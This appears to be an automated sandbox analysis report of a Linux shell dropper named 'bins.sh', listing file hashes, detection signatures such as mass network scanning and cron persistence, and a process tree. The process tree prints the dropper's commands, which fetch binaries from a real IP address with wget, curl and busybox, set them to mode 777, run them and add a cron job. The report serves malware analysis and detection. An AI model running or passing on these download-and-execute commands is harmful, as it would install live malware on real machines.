Analysis
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max time kernel
149s -
max time network
152s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
04-11-2024 19:52
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
3ddeda65fdff7dc7e3cc275ff6f553d3
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SHA1
63ea40bbcbb7ae0a7d338ea6283460d48c3f6368
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SHA256
67db0a782044ee286667c282875397514a893b73eb8b8102d5401e5841d123af
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SHA512
b1a6e4dbb31b142cac5c142a8adafdb6e53106d788ce26f3e40d930a821147cc6dc5289ecc3217d1b7545ab6d69bd3c12c3128a980d76ac3986a334f102c3a0e
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SSDEEP
96:Bj2IPO3r7edhO9HzMJQIDCuBlVArHZro/T8jAIC+r7edh4VLIlVArHZfDzMlPQIz:Bj2IPOd92QIDCuBsKQIDCuv
Malware Config
Signatures
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Contacts a large (1964) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodpid Process 738 chmod 745 chmod -
Executes dropped EXE 2 IoCs
Processes:
kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQioc pid Process /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO 739 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ 746 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ -
Renames itself 1 IoCs
Processes:
60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQpid Process 747 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.b3sQCO crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQcurlcrontabcurldescription ioc Process File opened for reading /proc/775/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/916/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/943/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/949/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/955/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/966/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/18/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/77/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/859/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/882/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/918/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/157/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/769/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/914/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/994/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/36/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/78/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/926/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/952/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/filesystems crontab File opened for reading /proc/3/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/5/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/849/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/938/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/1/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/71/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/322/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/704/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/840/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/795/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/901/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/773/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/779/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/911/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/953/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/977/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/1000/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/2/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/70/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/76/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/794/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/970/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/1004/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/1008/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/315/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/763/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/781/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/811/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/829/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/891/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/957/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/13/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/122/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/703/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/834/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/895/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/910/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/231/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/832/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/853/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/940/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ File opened for reading /proc/950/cmdline 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ -
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxwgetcurlbusyboxdescription ioc Process File opened for modification /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO wget File opened for modification /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO curl File opened for modification /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO busybox File opened for modification /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ wget File opened for modification /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ curl File opened for modification /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:706
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/bin/rm/bin/rm bins.sh2⤵PID:712
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/usr/bin/wgetwget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO2⤵
- Writes file to tmp directory
PID:713
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/usr/bin/curlcurl -O http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:731
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO2⤵
- Writes file to tmp directory
PID:737
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/bin/chmodchmod 777 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO2⤵
- File and Directory Permissions Modification
PID:738
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/tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO./kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO2⤵
- Executes dropped EXE
PID:739
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/bin/rmrm kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO2⤵PID:741
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/usr/bin/wgetwget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ2⤵
- Writes file to tmp directory
PID:742
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/usr/bin/curlcurl -O http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:743
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ2⤵
- Writes file to tmp directory
PID:744
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/bin/chmodchmod 777 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ2⤵
- File and Directory Permissions Modification
PID:745
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/tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ./60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:746 -
/bin/shsh -c "crontab -l"3⤵PID:748
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/usr/bin/crontabcrontab -l4⤵PID:749
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/bin/shsh -c "crontab -"3⤵PID:750
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:751
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/bin/rmrm 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ2⤵PID:753
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/usr/bin/wgetwget http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH52⤵PID:756
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/usr/bin/curlcurl -O http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH52⤵PID:757
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
210B
MD50f0e313b9497af43415675ada1c22c7c
SHA196cb9f10015e094623feef4fb86aab774e91183b
SHA2560003ba56ae1e02c79c9b0d5ef7559e49aac15539082be0208bd343dd8016bd5f
SHA5123afd410c61a83c4ad87a57c19c6bad200eb3e6a8fdcc0fa0a511188b7fc34b33ac061a91c4892bf4e15453018c8418cb6883494454832e91e3abd0744e97a3d3